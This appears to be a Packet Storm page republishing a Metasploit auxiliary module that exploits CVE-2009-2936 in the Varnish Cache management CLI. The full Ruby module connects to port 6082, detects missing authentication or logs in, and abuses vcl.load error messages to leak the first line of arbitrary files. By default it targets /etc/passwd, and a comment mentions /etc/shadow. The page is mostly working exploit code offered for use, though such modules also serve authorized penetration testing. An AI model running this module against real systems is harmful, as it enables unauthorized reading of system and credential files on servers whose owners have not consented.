exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Varnish Cache CLI File Read

Varnish Cache CLI File Read
Posted Aug 31, 2024
Authored by patrick, h00die | Site metasploit.com

This Metasploit module attempts to read the first line of a file by abusing the error message when compiling a file with vcl.load.

tags | exploit
advisories | CVE-2009-2936
SHA-256 | 686a425c40952290c7d61f15e0ffd8773aab2cc417d5a6790a52366d7dd49413

Varnish Cache CLI File Read

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/tcp/client'
require 'metasploit/framework/varnish/client'

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Metasploit::Framework::Varnish::Client

def initialize
super(
'Name' => 'Varnish Cache CLI File Read',
'Description' => 'This module attempts to read the first line of a file by abusing the error message when
compiling a file with vcl.load.',
'References' =>
[
[ 'OSVDB', '67670' ],
[ 'CVE', '2009-2936' ],
[ 'EDB', '35581' ],
[ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ]
],
'Author' =>
[
'patrick', #original module
'h00die <mike@shorebreaksecurity.com>' #updates and standardizations
],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 6082
}
)

register_options(
[
OptString.new('PASSWORD', [ false, 'Password for CLI. No auth will be automatically detected', '' ]),
OptString.new('FILE', [ false, 'File to read the first line of', '/etc/passwd' ])
])
end

def run_host(ip)
# first check if we even need auth
begin
connect
challenge = require_auth?
close_session
disconnect
connect
if !challenge
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required"
else
if not login(datastore['PASSWORD'])
vprint_error "#{ip}:#{rport} - Unable to Login"
return
end
end
# abuse vcl.load to load a varnish config file and save it to a random variable. This will fail to give us the first line in debug message
sock.get_once
sock.puts("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} #{datastore['FILE']}")
result = sock.get_once
if result && result =~ /Line \d Pos \d+\)\n(.*)/
vprint_good($1)
else
vprint_error(result) # will say something like "Cannot open '/etc/shadow'"
end
close_session
disconnect
rescue Rex::ConnectionError, EOFError, Timeout::Error
print_error "#{ip}:#{rport} - Unable to connect"
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close